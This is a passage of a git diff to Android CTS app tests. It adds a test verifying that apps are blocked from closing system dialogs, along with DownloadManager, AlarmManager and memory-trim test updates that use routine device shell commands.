+                        // This is the new one we just created
+                        procName2Level.put(p, new Pair<>(levelHolder, conn));
+                        break;
+                    }
+                }
+                if (lru.size() < minLru) {
+                    continue;
+                }
+                if (lru.get(0).indexOf(pkgName) != -1) {
+                    // Okay now the very least recent used cached process is one of ours
+                    break;
+                } else {
+                    // Hm, someone dropped below us in the between, let's kill it
+                    ArraySet<String> others = new ArraySet<>();
+                    for (int i = 0, size = lru.size(); i < size; i++) {
+                        final String name = lru.get(i);
+                        if (name.indexOf(pkgName) != -1) {
+                            break;
+                        }
+                        others.add(name);
+                    }
+                    SystemUtil.runWithShellPermissionIdentity(() -> {
+                        final List<ActivityManager.RunningAppProcessInfo> procs = mActivityManager
+                                .getRunningAppProcesses();
+                        for (ActivityManager.RunningAppProcessInfo info: procs) {
+                            if (info.importance
+                                    == ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED) {
+                                if (others.contains(info.processName)) {
+                                    mActivityManager.killBackgroundProcesses(info.pkgList[0]);
+                                }
+                            }
+                        }
+                    });
+                }
+            } while (true);
+
+            // Remove all other processes
+            for (int i = lru.size() - 1; i >= 0; i--) {
+                if (lru.get(i).indexOf(pkgName) == -1) {
+                    lru.remove(i);
+                }
+            }
+
+            latchHolder[0] = new CountDownLatch(lru.size());
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Verify the trim levels among the LRU
+            int level = TRIM_MEMORY_COMPLETE;
+            assertEquals(level, procName2Level.get(lru.get(0)).first[0]);
+            for (int i = 1, size = lru.size(); i < size; i++) {
+                int curLevel = procName2Level.get(lru.get(i)).first[0];
+                assertTrue(level >= curLevel);
+                level = curLevel;
+            }
+
+            // Cleanup: Unbind from them
+            for (int i = procName2Level.size() - 1; i >= 0; i--) {
+                mTargetContext.unbindService(procName2Level.valueAt(i).second);
+            }
+        } finally {
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+            });
+        }
+    }
+
+    private List<String> getCachedAppsLru() throws Exception {
+        final List<String> lru = new ArrayList<>();
+        final String output = SystemUtil.runShellCommand(mInstrumentation, "dumpsys activity lru");
+        final String[] lines = output.split("\n");
+        for (String line: lines) {
+            if (line == null || line.indexOf(" cch") == -1) {
+                continue;
+            }
+            final int slash = line.lastIndexOf('/');
+            if (slash == -1) {
+                continue;
+            }
+            line = line.substring(0, slash);
+            final int space = line.lastIndexOf(' ');
+            if (space == -1) {
+                continue;
+            }
+            line = line.substring(space + 1);
+            final int colon = line.indexOf(':');
+            if (colon == -1) {
+                continue;
+            }
+            lru.add(0, line.substring(colon + 1));
+        }
+        return lru;
+    }
+
+    private Bundle initWaitingForTrimLevel(
+            final CountDownLatch[] latchHolder, final int[] levelHolder) {
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case IBinder.FIRST_CALL_TRANSACTION:
+                        levelHolder[0] = data.readInt();
+                        latchHolder[0].countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        return extras;
+    }
+
     private RunningAppProcessInfo getRunningAppProcessInfo(String processName) {
         try {
             return SystemUtil.callWithShellPermissionIdentity(()-> {
diff --git a/tests/app/src/android/app/cts/AlarmManagerTest.java b/tests/app/src/android/app/cts/AlarmManagerTest.java
index 789d938..2a570d4 100644
--- a/tests/app/src/android/app/cts/AlarmManagerTest.java
+++ b/tests/app/src/android/app/cts/AlarmManagerTest.java
@@ -16,8 +16,6 @@
 
 package android.app.cts;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-
 import android.app.AlarmManager;
 import android.app.AlarmManager.AlarmClockInfo;
 import android.app.PendingIntent;
@@ -33,6 +31,7 @@
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
 public class AlarmManagerTest extends AndroidTestCase {
@@ -90,12 +89,12 @@
 
         mIntent = new Intent(MOCKACTION)
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, 0);
+        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, PendingIntent.FLAG_IMMUTABLE);
         mMockAlarmReceiver = new MockAlarmReceiver(mIntent.getAction());
 
         mIntent2 = new Intent(MOCKACTION2)
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, 0);
+        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, PendingIntent.FLAG_IMMUTABLE);
         mMockAlarmReceiver2 = new MockAlarmReceiver(mIntent2.getAction());
 
         IntentFilter filter = new IntentFilter(mIntent.getAction());
@@ -189,7 +188,7 @@
         for (int i = 0; i < NUM_TRIALS; i++) {
             final long now = System.currentTimeMillis();
             final long windowStart = now + TEST_ALARM_FUTURITY;
-            final long exactStart = windowStart + TEST_WINDOW_LENGTH - 1;
+            final long exactStart = windowStart + TEST_WINDOW_LENGTH / 2;
 
             mMockAlarmReceiver.setAlarmedFalse();
             mMockAlarmReceiver2.setAlarmedFalse();
@@ -311,7 +310,8 @@
             final long wakeupTimeSecond = System.currentTimeMillis()
                     + TEST_ALARM_FUTURITY;
             PendingIntent showIntentSecond = PendingIntent.getBroadcast(getContext(), 0,
-                    new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"), 0);
+                    new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"),
+                    PendingIntent.FLAG_IMMUTABLE);
             mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeSecond, showIntentSecond),
                     mSender2);
 
diff --git a/tests/app/src/android/app/cts/BadProviderTest.java b/tests/app/src/android/app/cts/BadProviderTest.java
index 3c16fd3..17f6ae5 100644
--- a/tests/app/src/android/app/cts/BadProviderTest.java
+++ b/tests/app/src/android/app/cts/BadProviderTest.java
@@ -16,26 +16,43 @@
 
 package android.app.cts;
 
-import android.app.ActivityManager;
+import static junit.framework.Assert.fail;
+
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.content.ContentResolver;
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.net.Uri;
-import android.os.HandlerThread;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.SystemClock;
-import android.test.AndroidTestCase;
+import android.platform.test.annotations.Presubmit;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test system behavior of a bad provider.
  */
-public class BadProviderTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class BadProviderTest {
     private static final String AUTHORITY = "com.android.cts.stubbad.badprovider";
     private static final String TEST_PACKAGE_NAME = "com.android.cts.stubbad";
     private static final int WAIT_TIME = 2000;
 
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testExitOnCreate() {
         WatchUidRunner uidWatcher = null;
         ContentResolver res = mContext.getContentResolver();
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
new file mode 100644
index 0000000..b5a44b4
--- /dev/null
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -0,0 +1,459 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
+import static android.app.cts.NotificationManagerTest.toggleListenerAccess;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
+import android.app.stubs.TestNotificationListener;
+import android.app.stubs.shared.FakeView;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.provider.Settings;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CloseSystemDialogsTest {
+    private static final String TEST_SERVICE =
+            "android.app.stubs.shared.CloseSystemDialogsTestService";
+    private static final String APP_COMPAT_ENABLE = "enable";
+    private static final String APP_COMPAT_DISABLE = "disable";
+    private static final String APP_COMPAT_RESET = "reset";
+    private static final String ACTION_SENTINEL = "sentinel";
+    private static final String REASON = "test";
+    private static final long TIMEOUT_MS = 3000;
+    private static final String ACCESSIBILITY_SERVICE =
+            "android.app.stubs.shared.AppAccessibilityService";
+
+    /**
+     * This test is not self-instrumenting, so we need to bind to the service in the instrumentation
+     * target package (instead of our package).
+     */
+    private static final String APP_SELF = "android.app.stubs";
+
+    /**
+     * Use com.android.app1 instead of android.app.stubs because the latter is the target of
+     * instrumentation, hence it also has shell powers for {@link
+     * Intent#ACTION_CLOSE_SYSTEM_DIALOGS} and we don't want those powers under simulation.
+     */
+    private static final String APP_HELPER = "com.android.app4";
+
+    private Instrumentation mInstrumentation;
+    private FutureServiceConnection mConnection;
+    private Context mContext;
+    private ContentResolver mResolver;
+    private ICloseSystemDialogsTestsService mService;
+    private volatile WindowManager mSawWindowManager;
+    private volatile Context mSawContext;
+    private volatile CompletableFuture<Void> mCloseSystemDialogsReceived;
+    private volatile ConditionVariable mSentinelReceived;
+    private volatile FakeView mFakeView;
+    private IntentReceiver mIntentReceiver;
+    private Handler mMainHandler;
+    private TestNotificationListener mNotificationListener;
+    private NotificationHelper mNotificationHelper;
+    private String mPreviousHiddenApiPolicy;
+    private String mPreviousAccessibilityServices;
+    private String mPreviousAccessibilityEnabled;
+    private boolean mResetAccessibility;
+
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        mResolver = mContext.getContentResolver();
+        mMainHandler = new Handler(Looper.getMainLooper());
+        toggleListenerAccess(mContext, true);
+        mNotificationListener = TestNotificationListener.getInstance();
+        mNotificationHelper = new NotificationHelper(mContext, () -> mNotificationListener);
+        enableUserFinal();
+
+        // We need to test that a few hidden APIs are properly protected in the helper app. The
+        // helper app we're using doesn't have the checks disabled because it's not the target of
+        // instrumentation, see comment on APP_HELPER for details.
+        mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
+        // Add a receiver that will verify if the intent was sent or not
+        mIntentReceiver = new IntentReceiver();
+        mCloseSystemDialogsReceived = new CompletableFuture<>();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
+        filter.addAction(ACTION_SENTINEL);
+        mContext.registerReceiver(mIntentReceiver, filter);
+
+        // Add a view to verify if the view got the callback or not
+        mSawContext = getContextForSaw(mContext);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+        mMainHandler.post(() -> {
+            mFakeView = new FakeView(mSawContext);
+            mSawWindowManager.addView(mFakeView, new LayoutParams(TYPE_APPLICATION_OVERLAY));
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mConnection != null) {
+            mContext.unbindService(mConnection);
+        }
+        if (mResetAccessibility) {
+            setAccessibilityState(mPreviousAccessibilityEnabled, mPreviousAccessibilityServices);
+        }
+        mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
+        mContext.unregisterReceiver(mIntentReceiver);
+        resetUserFinal();
+        setHiddenApiPolicy(mPreviousHiddenApiPolicy);
+        compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+        mNotificationListener.resetData();
+    }
+
+    /** Intent.ACTION_CLOSE_SYSTEM_DIALOGS */
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdkCurrent_isBlockedAndThrows() throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class, () -> mService.sendCloseSystemDialogsBroadcast());
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdk30_isBlockedButDoesNotThrow() throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.sendCloseSystemDialogsBroadcast();
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTestInstrumentedViaShell_isSent() throws Exception {
+        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenRunningAsShell_isSent() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        int notificationId = 42;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_SECURITY_EXCEPTION);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdk30_isSent() throws Exception {
+        int notificationId = 43;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_OK);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_withWindowAboveShadeAndTargetSdk30_isSent()
+            throws Exception {
+        mService = getService(APP_HELPER);
+        setAccessibilityService(APP_HELPER, ACCESSIBILITY_SERVICE);
+        assertTrue(mService.waitForAccessibilityServiceWindow(TIMEOUT_MS));
+
+        mService.sendCloseSystemDialogsBroadcast();
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    /** IWindowManager.closeSystemDialogs() */
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+    /** IActivityManager.closeSystemDialogs() */
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    private void setTargetCurrent() {
+        // The helper app has targetSdk=30, opting-in to changes emulates targeting latest sdk.
+        compat(APP_COMPAT_ENABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_ENABLE, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+    }
+
+    private void assertCloseSystemDialogsNotReceived() {
+        // If both broadcasts are sent, they will be received in order here since they are both
+        // registered receivers in the "bg" queue in system_server and belong to the same app.
+        // This is guaranteed by a series of handlers that are the same in both cases and due to the
+        // fact that the binder that system_server uses to call into the app is the same (since the
+        // app is the same) and one-way calls on the same binder object are ordered.
+        mSentinelReceived = new ConditionVariable(false);
+        Intent intent = new Intent(ACTION_SENTINEL);
+        intent.setPackage(mContext.getPackageName());
+        mContext.sendBroadcast(intent);
+        mSentinelReceived.block();
+        assertThat(mCloseSystemDialogsReceived.isDone()).isFalse();
+    }
+
+    private void assertCloseSystemDialogsReceived() throws Exception {
+        mCloseSystemDialogsReceived.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        // No TimeoutException thrown
+    }
+
+    private ICloseSystemDialogsTestsService getService(String packageName) throws Exception {
+        return ICloseSystemDialogsTestsService.Stub.asInterface(
+                connect(packageName).get(TIMEOUT_MS));
+    }
+
+    private FutureServiceConnection connect(String packageName) {
+        if (mConnection != null) {
+            return mConnection;
+        }
+        mConnection = new FutureServiceConnection();
+        Intent intent = new Intent();
+        intent.setComponent(ComponentName.createRelative(packageName, TEST_SERVICE));
+        assertTrue(mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE));
+        return mConnection;
+    }
+
+    private String setHiddenApiPolicy(String policy) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            String previous = Settings.Global.getString(mResolver,
+                    Settings.Global.HIDDEN_API_POLICY);
+            Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+            return previous;
+        });
+    }
+
+    private void setAccessibilityService(String packageName, String service) throws Exception {
+        setAccessibilityState("1", packageName + "/" + service);
+    }
+
+    private void setAccessibilityState(String enabled, String services) {
+        mResetAccessibility = true;
+        UiAutomation uiAutomation = mInstrumentation.getUiAutomation(
+                FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        SystemUtil.runWithShellPermissionIdentity(uiAutomation, () -> {
+            mPreviousAccessibilityServices = Settings.Secure.getString(mResolver,
+                    Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+            mPreviousAccessibilityEnabled = Settings.Secure.getString(mResolver,
+                    Settings.Secure.ACCESSIBILITY_ENABLED);
+            Settings.Secure.putString(mResolver, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+                    services);
+            Settings.Secure.putString(mResolver, Settings.Secure.ACCESSIBILITY_ENABLED, enabled);
+        });
+    }
+
+    private static void enableUserFinal() {
+        SystemUtil.runShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 1");
+    }
+
+    private static void resetUserFinal() {
+        SystemUtil.runShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 0");
+    }
+
+    private static void compat(String command, String changeId, String packageName) {
+        SystemUtil.runShellCommand(
+                String.format("am compat %s %s %s", command, changeId, packageName));
+    }
+
+    private static void compat(String command, long changeId, String packageName) {
+        compat(command, Long.toString(changeId), packageName);
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
+    }
+
+    private class IntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case Intent.ACTION_CLOSE_SYSTEM_DIALOGS:
+                    mCloseSystemDialogsReceived.complete(null);
+                    break;
+                case ACTION_SENTINEL:
+                    mSentinelReceived.open();
+                    break;
+            }
+        }
+    }
+
+    private class FutureReceiver extends ResultReceiver {
+        private final CompletableFuture<Integer> mFuture;
+
+        FutureReceiver(CompletableFuture<Integer> future) {
+            super(mMainHandler);
+            mFuture = future;
+        }
+
+        @Override
+        protected void onReceiveResult(int resultCode, Bundle resultData) {
+            mFuture.complete(resultCode);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/CtsAppTestUtils.java b/tests/app/src/android/app/cts/CtsAppTestUtils.java
index 6dc4853..64f556d 100644
--- a/tests/app/src/android/app/cts/CtsAppTestUtils.java
+++ b/tests/app/src/android/app/cts/CtsAppTestUtils.java
@@ -64,4 +64,14 @@
         String cmd = "am make-uid-idle " + packageName;
         return executeShellCmd(instrumentation, cmd);
     }
+
+    /**
+     * This method returns the ambiguously nullable platform type <code>T!</code> in Kotlin.
+     * This allows Kotlin tests cases to pass <code>null</code> to a Java method parameter annotated
+     * with <code>@NonNull</code>, which can be important for validating that the Java code under
+     * test implements runtime <code>null</code> checks.
+     */
+    public static <T> T platformNull() {
+        return null;
+    }
 }
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 108f173..9bf0629 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -439,6 +439,16 @@
         return process;
     }
 
+    private int getExternalVolumeMediaStoreFilesCount() {
+        Uri rootUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+        String[] projection = {MediaStore.MediaColumns._ID};
+        int count = 0;
+        try (Cursor cursor = mContext.getContentResolver().query(rootUri, projection, null, null)) {
+            count = cursor.getCount();
+        }
+        return count;
+    }
+
     @FlakyTest
     @Test
     public void testProviderAcceptsCleartext() throws Exception {
@@ -641,10 +651,14 @@
                 int allDownloads = getTotalNumberDownloads();
                 assertEquals(1, allDownloads);
 
+                int countBeforeDownload = getExternalVolumeMediaStoreFilesCount();
                 receiver.waitForDownloadComplete(SHORT_TIMEOUT, id);
                 assertSuccessfulDownload(id, new File(
                         Environment.getExternalStoragePublicDirectory(destination), subPath));
 
+                int countAfterDownload = getExternalVolumeMediaStoreFilesCount();
+                // Asserts that only one row entry is added for 1 download
+                assertEquals((countBeforeDownload + 1), countAfterDownload);
                 final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(id);
                 mContext.grantUriPermission("com.android.shell", downloadUri,
                         Intent.FLAG_GRANT_READ_URI_PERMISSION);
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index fd9009a..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -18,8 +18,10 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -30,7 +32,9 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
+import android.net.ConnectivityManager;
 import android.net.Uri;
+import android.net.wifi.WifiManager;
 import android.os.Bundle;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
@@ -46,6 +50,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.Before;
@@ -89,14 +94,19 @@
     protected Context mContext;
     protected DownloadManager mDownloadManager;
 
+    private WifiManager mWifiManager;
+    private ConnectivityManager mCm;
     private CtsTestServer mWebServer;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mDownloadManager = (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mCm = mContext.getSystemService(ConnectivityManager.class);
         mWebServer = new CtsTestServer(mContext);
         clearDownloads();
+        checkConnection();
     }
 
     @After
@@ -204,6 +214,23 @@
         return getFileData(uri, "_data");
     }
 
+    private void checkConnection() throws Exception {
+        if (!hasConnectedNetwork(mCm)) {
+            Log.d(TAG, "Enabling WiFi to ensure connectivity for this test");
+            runShellCommand("svc wifi enable");
+            runWithShellPermissionIdentity(mWifiManager::reconnect,
+                    android.Manifest.permission.NETWORK_SETTINGS);
+            final long startTime = SystemClock.elapsedRealtime();
+            while (!hasConnectedNetwork(mCm)
+                && (SystemClock.elapsedRealtime() - startTime) < SHORT_TIMEOUT) {
+                Thread.sleep(500);
+            }
+            if (!hasConnectedNetwork(mCm)) {
+                Log.d(TAG, "Unable to connect to any network");
+            }
+        }
+    }
+
     private static String getFileData(Uri uri, String projection) throws Exception {
         final Context context = InstrumentationRegistry.getTargetContext();
         final String[] projections =  new String[] { projection };
@@ -382,6 +409,10 @@
         }.run();
     }
 
+    private static boolean hasConnectedNetwork(final ConnectivityManager cm) {
+        return cm.getActiveNetwork() != null;
+    }
+
     protected void assertSuccessfulDownload(long id, File location) throws Exception {
         Cursor cursor = null;
         try {
@@ -392,7 +423,13 @@
                     cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
             assertEquals(Uri.fromFile(expectedLocation).toString(),
                     cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
-            assertTrue(expectedLocation.exists());
+
+            // Use shell to check if file is created as normal app doesn't have
+            // visibility to see other packages dirs.
+            String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "file " + expectedLocation.getCanonicalPath());
+            assertFalse("Cannot create file in other packages",
+                    result.contains("No such file or directory"));
         } finally {
             if (cursor != null) {
                 cursor.close();
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
index f20113b..ca4ae73 100644
--- a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
